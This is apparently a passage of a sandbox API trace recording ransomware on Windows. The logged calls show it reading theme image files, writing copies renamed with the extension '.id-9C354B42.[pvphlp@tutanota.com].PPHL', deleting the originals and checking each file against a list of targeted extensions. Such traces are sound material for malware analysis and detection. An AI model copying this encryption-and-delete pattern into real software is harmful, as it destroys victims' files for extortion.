lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0078.043] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.043] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0078.053] GetLastError () returned 0x0 [0078.053] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x67b, lpOverlapped=0x0) returned 1 [0078.073] WriteFile (in: hFile=0x218, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x680, lpOverlapped=0x0) returned 1 [0078.074] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0078.074] WriteFile (in: hFile=0x218, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.074] SetEndOfFile (hFile=0x218) returned 1 [0078.074] CloseHandle (hObject=0x218) returned 1 [0078.074] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.074] SetEndOfFile (hFile=0x220) returned 1 [0078.075] CloseHandle (hObject=0x220) returned 1 [0078.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.075] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0078.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.076] lstrlenW (lpString=".doc") returned 4 [0078.076] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.076] lstrlenW (lpString=".docx") returned 5 [0078.076] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.076] lstrlenW (lpString=".pdf") returned 4 [0078.076] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.076] lstrlenW (lpString=".xls") returned 4 [0078.076] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.076] lstrlenW (lpString=".xlsx") returned 5 [0078.076] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.076] lstrlenW (lpString=".ppt") returned 4 [0078.076] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.076] lstrlenW (lpString=".zip") returned 4 [0078.076] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.076] lstrlenW (lpString=".rar") returned 4 [0078.076] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.076] lstrlenW (lpString=".bz2") returned 4 [0078.076] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.076] lstrlenW (lpString=".7z") returned 3 [0078.076] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.076] lstrlenW (lpString=".dbf") returned 4 [0078.076] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.076] lstrlenW (lpString=".1cd") returned 4 [0078.076] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.076] lstrlenW (lpString=".jpg") returned 4 [0078.076] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.077] lstrlenW (lpString=".doc") returned 4 [0078.077] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.077] lstrlenW (lpString=".docx") returned 5 [0078.077] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.077] lstrlenW (lpString=".pdf") returned 4 [0078.077] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.077] lstrlenW (lpString=".xls") returned 4 [0078.077] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.077] lstrlenW (lpString=".xlsx") returned 5 [0078.077] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.077] lstrlenW (lpString=".ppt") returned 4 [0078.077] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.077] lstrlenW (lpString=".zip") returned 4 [0078.077] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.077] lstrlenW (lpString=".rar") returned 4 [0078.077] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.077] lstrlenW (lpString=".bz2") returned 4 [0078.077] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.077] lstrlenW (lpString=".7z") returned 3 [0078.077] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.077] lstrlenW (lpString=".dbf") returned 4 [0078.077] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.077] lstrlenW (lpString=".1cd") returned 4 [0078.077] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0078.077] lstrlenW (lpString=".jpg") returned 4 [0078.077] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.078] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.078] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0078.078] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1379) returned 1 [0078.078] CloseHandle (hObject=0x220) returned 1 [0078.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0078.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0078.078] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.079] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0078.717] GetLastError () returned 0x0 [0078.717] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x563, lpOverlapped=0x0) returned 1 [0078.737] WriteFile (in: hFile=0x21c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x570, lpOverlapped=0x0) returned 1 [0078.738] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0078.738] WriteFile (in: hFile=0x21c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.738] SetEndOfFile (hFile=0x21c) returned 1 [0078.738] CloseHandle (hObject=0x21c) returned 1 [0078.738] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.739] SetEndOfFile (hFile=0x220) returned 1 [0078.739] CloseHandle (hObject=0x220) returned 1 [0078.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.740] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0078.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.740] lstrlenW (lpString=".doc") returned 4 [0078.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.740] lstrlenW (lpString=".docx") returned 5 [0078.740] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.740] lstrlenW (lpString=".pdf") returned 4 [0078.740] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.740] lstrlenW (lpString=".xls") returned 4 [0078.740] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.740] lstrlenW (lpString=".xlsx") returned 5 [0078.740] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.740] lstrlenW (lpString=".ppt") returned 4 [0078.740] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.740] lstrlenW (lpString=".zip") returned 4 [0078.740] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.740] lstrlenW (lpString=".rar") returned 4 [0078.740] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.740] lstrlenW (lpString=".bz2") returned 4 [0078.740] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.740] lstrlenW (lpString=".7z") returned 3 [0078.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.741] lstrlenW (lpString=".dbf") returned 4 [0078.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.741] lstrlenW (lpString=".1cd") returned 4 [0078.741] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.741] lstrlenW (lpString=".jpg") returned 4 [0078.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.741] lstrlenW (lpString=".doc") returned 4 [0078.741] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.741] lstrlenW (lpString=".docx") returned 5 [0078.741] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.741] lstrlenW (lpString=".pdf") returned 4 [0078.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.741] lstrlenW (lpString=".xls") returned 4 [0078.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.741] lstrlenW (lpString=".xlsx") returned 5 [0078.741] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.741] lstrlenW (lpString=".ppt") returned 4 [0078.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.741] lstrlenW (lpString=".zip") returned 4 [0078.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.741] lstrlenW (lpString=".rar") returned 4 [0078.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.741] lstrlenW (lpString=".bz2") returned 4 [0078.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.741] lstrlenW (lpString=".7z") returned 3 [0078.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.741] lstrlenW (lpString=".dbf") returned 4 [0078.742] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.742] lstrlenW (lpString=".1cd") returned 4 [0078.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0078.742] lstrlenW (lpString=".jpg") returned 4 [0078.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.742] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.742] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.834] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=21745) returned 1 [0078.834] CloseHandle (hObject=0x208) returned 1 [0078.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0078.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.834] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.835] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0078.835] GetLastError () returned 0x0 [0078.835] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x54f1, lpOverlapped=0x0) returned 1 [0078.837] WriteFile (in: hFile=0x1e8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x5500, lpOverlapped=0x0) returned 1 [0078.838] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0078.838] WriteFile (in: hFile=0x1e8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.838] SetEndOfFile (hFile=0x1e8) returned 1 [0078.838] CloseHandle (hObject=0x1e8) returned 1 [0078.839] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.839] SetEndOfFile (hFile=0x208) returned 1 [0078.840] CloseHandle (hObject=0x208) returned 1 [0078.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.840] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0078.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.841] lstrlenW (lpString=".doc") returned 4 [0078.841] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.841] lstrlenW (lpString=".docx") returned 5 [0078.841] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.841] lstrlenW (lpString=".pdf") returned 4 [0078.841] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.841] lstrlenW (lpString=".xls") returned 4 [0078.841] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.841] lstrlenW (lpString=".xlsx") returned 5 [0078.841] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.841] lstrlenW (lpString=".ppt") returned 4 [0078.841] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.841] lstrlenW (lpString=".zip") returned 4 [0078.841] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.841] lstrlenW (lpString=".rar") returned 4 [0078.841] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.841] lstrlenW (lpString=".bz2") returned 4 [0078.841] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.841] lstrlenW (lpString=".7z") returned 3 [0078.841] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.841] lstrlenW (lpString=".dbf") returned 4 [0078.841] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.841] lstrlenW (lpString=".1cd") returned 4 [0078.841] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.841] lstrlenW (lpString=".jpg") returned 4 [0078.841] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.842] lstrlenW (lpString=".doc") returned 4 [0078.842] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.842] lstrlenW (lpString=".docx") returned 5 [0078.842] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.842] lstrlenW (lpString=".pdf") returned 4 [0078.842] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.842] lstrlenW (lpString=".xls") returned 4 [0078.842] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.842] lstrlenW (lpString=".xlsx") returned 5 [0078.842] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.842] lstrlenW (lpString=".ppt") returned 4 [0078.842] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.842] lstrlenW (lpString=".zip") returned 4 [0078.842] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.842] lstrlenW (lpString=".rar") returned 4 [0078.842] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.842] lstrlenW (lpString=".bz2") returned 4 [0078.842] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.842] lstrlenW (lpString=".7z") returned 3 [0078.842] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.842] lstrlenW (lpString=".dbf") returned 4 [0078.842] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.842] lstrlenW (lpString=".1cd") returned 4 [0078.842] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0078.842] lstrlenW (lpString=".jpg") returned 4 [0078.842] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.843] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.843] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.852] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=37112) returned 1 [0078.852] CloseHandle (hObject=0x208) returned 1 [0078.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0078.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 